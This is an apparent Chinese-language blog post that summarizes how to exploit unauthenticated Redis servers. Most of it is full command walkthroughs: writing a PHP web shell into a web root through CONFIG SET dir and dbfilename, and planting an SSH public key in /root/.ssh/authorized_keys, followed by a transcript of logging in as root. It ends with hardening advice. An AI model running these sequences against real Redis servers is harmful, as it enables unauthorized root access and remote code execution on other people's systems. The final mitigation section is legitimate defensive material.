Redis未授权访问漏洞利用总结

Posted by Mannix on October 18, 2018

Redis未授权访问漏洞利用总结


Redis未授权访问简介

本文介绍一下Redis未授权访问简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

之前看SRC刷过Redis未授权访问的漏洞

3150364-323afe041674576d.png

那么下面我来揭开它的神秘面纱!

首先我下载了安装包。

3150364-3c97530c544d98e1.png

[ — 安装过程 自行百度 –]

安装好以后,我们启动redis服务:

/usr/share/redis/bin/redis-server /etc/redis.conf
vim /etc/redis.conf

在181行左右 我先注释访问密码。

然后启动redis-server

[root@localhost 桌面]# ps -A | grep redis
 3931 ?        00:00:00 redis-server

首先我先用客户端连接服务器:

[root@localhost 桌面]# redis-cli 
redis 127.0.0.1:6379> keys *
1) "about"
2) "user:id1"
3) "user:id2"
4) "admin"
5) "str"
redis 127.0.0.1:6379> get str
"ldjskjdsahdsaa"
redis 127.0.0.1:6379> 

可以看到能直接操作数据库。

下面我用另外一台服务器做安全测试

[root@localhost 桌面]# redis-cli -h 10.10.3.215
redis 10.10.3.215:6379> keys *
1) "about"
2) "user:id1"
3) "user:id2"
4) "admin"
5) "str"
redis 10.10.3.215:6379> 

发现也是可以直接操作数据库

根据redis语句我们写webshell….

前提是知道绝对路径,当然也可以用语句判断。

redis 10.10.3.215:6379> CONFIG SET dir /var/wwwroot/
(error) ERR Changing directory: No such file or directory

可以发现不存在,那么就可以猜解目录了。

下面我演示写webshell

redis 10.10.3.215:6379> CONFIG SET dir /usr/share/apache/htdocs/ #这里是站点绝对路径
OK
redis 10.10.3.215:6379> set shell "<?php echo system($_REQUEST[cmd])?>"
OK
redis 10.10.3.215:6379> CONFIG SET dbfilename shell.php
OK
redis 10.10.3.215:6379> save  #将内存中的数据保存到dbfilename中
OK
redis 10.10.3.215:6379> 

这样就getshell了

3150364-78f6ce3f2a7e5357.png

下面看看这个未授权原因

在刚才的配置文件中,有一个选项 设置客户端连接后进行任何其他指定前需要使用的密码。 警告:因为redis速度相当快,所以在一台比较好的服务器下,一个外部的用户可以在一秒钟进行150K次的密码尝试,这意味着你需要指定非常非常强大的密码来防止暴力破解 requirepass [密码] 所以必须设置密码。 出现这类漏洞就是 配置不得当导致控制系统 执行任意代码 再深入还可以威胁主从服务器 及其他的数据库服务器。


Redis 未授权访问漏洞利用总结


Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

屏幕快照-2017-07-15-下午5.32.54-1024x441.png


一、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

漏洞描述

部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

屏幕快照-2017-07-15-下午5.33.41.png


二、漏洞利用

Kali Linux 安装 redis 服务

apt-get install redis

Snipaste_2018-10-18_16-36-14.png

首先在本地生成公私钥文件:

$ ssh-keygen -t rsa

然后将公钥写入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

连接 Redis 写入文件

root@kali:~# cd /root/.ssh
root@kali:~/.ssh# ls
id_rsa  id_rsa.pub
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
root@kali:~/.ssh# ls
foo.txt  id_rsa  id_rsa.pub
root@kali:~/.ssh# cat foo.txt | redis-cli -h 10.115.4.17 -x set crackit
OK
root@kali:~/.ssh# redis-cli -h 10.115.4.17
10.115.4.17:6379> config set dir /root/.ssh/
OK
10.115.4.17:6379> config get dir
1) "dir"
2) "/root/.ssh"
10.115.4.17:6379> config set dbfilename "authorized_keys"
OK
10.115.4.17:6379> save
OK
10.115.4.17:6379> 

这里讲解下,这里设定了crackit的键值为公钥,并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥。

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

$ ssh -i  id_rsa root@10.115.4.17

可远程利用自己的私钥登录该服务器。

root@kali:~# cd /root/.ssh
root@kali:~/.ssh# ls
id_rsa  id_rsa.pub
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
root@kali:~/.ssh# ls
foo.txt  id_rsa  id_rsa.pub
root@kali:~/.ssh# cat foo.txt | redis-cli -h 10.115.4.17 -x set crackit
OK
root@kali:~/.ssh# redis-cli -h 10.115.4.17
10.115.4.17:6379> config set dir /root/.ssh/
OK
10.115.4.17:6379> config get dir
1) "dir"
2) "/root/.ssh"
10.115.4.17:6379> config set dbfilename "authorized_keys"
OK
10.115.4.17:6379> save
OK
10.115.4.17:6379> exit
root@kali:~/.ssh# ssh -i  id_rsa root@10.115.4.17
The authenticity of host '10.115.4.17 (10.115.4.17)' can't be established.
RSA key fingerprint is SHA256:oOzYtHXDP/BZdVLi4szrG2d0rbGC9W/KA2Q2biWuRzo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.115.4.17' (RSA) to the list of known hosts.
Last login: Thu Nov  9 14:40:28 2017 from 10.58.60.177
[root@VM-10-115-4-17 ~]# whoami
root
[root@VM-10-115-4-17 ~]# pwd
/root
[root@VM-10-115-4-17 ~]# ifconfig
eth0      Link encap:Ethernet  HWaddr 52:54:00:73:04:11  
          inet addr:10.115.4.17  Bcast:10.115.4.255  Mask:255.255.255.0
          inet6 addr: fe80::5054:ff:fe73:411/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:85585598 errors:0 dropped:0 overruns:0 frame:0
          TX packets:49952537 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:25834029589 (24.0 GiB)  TX bytes:15549400182 (14.4 GiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:16492765 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16492765 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:10621565540 (9.8 GiB)  TX bytes:10621565540 (9.8 GiB)

[root@VM-10-115-4-17 ~]# uname -a
Linux VM-10-115-4-17 2.6.32-642.gome.el6.x86_64 #1 SMP Thu Dec 1 16:54:42 CST 2016 x86_64 x86_64 x86_64 GNU/Linux
[root@VM-10-115-4-17 ~]# 

Snipaste_2018-10-18_16-49-58.png


详细讲解ssh登录–公钥登录

SSH提供了公钥登录,可以省去输入密码的步骤。

所谓”公钥登录”,原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。

这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:

$ ssh-keygen

运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。

运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件:id_rsa.pubid_rsa。前者是你的公钥,后者是你的私钥。

通常这时再输入下面的命令,将公钥传送到远程主机host上面:

$ ssh-copy-id user@host

authorized_keys文件,远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。


详细相关的Redis持久化命令

Redis支持2种持久化策略:snapshot方式和commandlog方式,前者通过将当前内存数据快照周期性写入RDB文件来实现;后者通过在log中记录Redis进程收到的写操作来实现,下次Redis重启时,回放commandlog来恢复数据状态。

这里使用RDB文件写入SSH key文件,需要设置以下两个 RDB相关配置

dbfilename

指定RDB文件名,默认为dump.rdb

dir

指定RDB文件存放目录的路径,若包含多级路径,则相关父路径需事先mkdir出来,否则启动失败。

set(key, value):给数据库中名称为keystring赋予值value

最后Client使用save命令通知redis做一次快照持久化


修复建议/安全建议

  • 1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

来禁用远程修改 DB 文件地址

  • 2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

$ groupadd -r redis && useradd -r -g redis redis
  • 3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword
  • 4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1
  • 5.保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./sshimmutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keysimmutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。


博客作者,文章总结者 @Mannix
2018 年 10 月 18 日

原始参考文档作者 @Rvn0xsy
2018 年 03 月 16 日

原始参考文档作者 @burlin
2017 年 07 月 15 日